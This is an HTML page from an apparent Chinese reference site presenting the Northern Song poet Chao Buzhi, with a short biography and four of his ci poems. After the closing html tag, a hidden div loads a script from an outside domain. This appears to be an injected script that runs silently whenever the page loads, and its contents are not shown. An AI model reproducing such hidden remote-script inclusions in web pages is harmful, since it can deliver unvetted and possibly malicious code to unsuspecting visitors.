<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-晁补之</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>晁补之</strong></span></div>

	<div class="Cont_tit sc">
		<h1>晁补之</h1>
		<span>(1053～1110)北宋文学家。字无咎，号归来子。济州巨野(今属山东)人，苏门四学士之一。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>忆少年</strong></div><div class="sc_det_cont">别历下<br/>无穷官柳，无情画舸，无垠行客。南山尚相送，只离城人隔。<br/>罨画园林溪绀碧，算重来、尽成陈迹。刘郎如此，况桃花颜色。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>临江仙</strong></div><div class="sc_det_cont">忆昔西池池上饮,年年多少欢娱。别来不寄一行书，寻常相见了,犹道不如初。<br/>安稳锦衾今夜梦,月明好渡江湖。相思休问定何如？情知春去后,管得落花无。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>洞仙歌</strong></div><div class="sc_det_cont">泗州中秋作<br/>青烟幂处，碧海飞金镜。水夜闲阶卧桂影。露凉时，零乱多少寒，神京远，惟有蓝桥路近。<br/>水晶帘不下，云母屏开，冷浸佳人淡脂粉。待都将许多明，付与金尊，投晓共流霞倾荆。更携取床上南楼，看玉做人间，素秋千顷。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>水龙吟</strong></div><div class="sc_det_cont">次韵林圣予《惜春》<br/>问春何苦勿勿,带风伴雨如驰骤。幽葩细萼,小园低槛，壅培未就。吹尽繁红，占春长久，不如垂柳。算春长不老,人愁春老,愁只是、人间有。<br/>春恨十常八九，忍轻孤、芳醪经口。那知自是、桃花结子，不因春瘦。世上功名，老来风味，春归时候。最多情犹有，尊前青眼，相逢依旧。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>晁补之</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>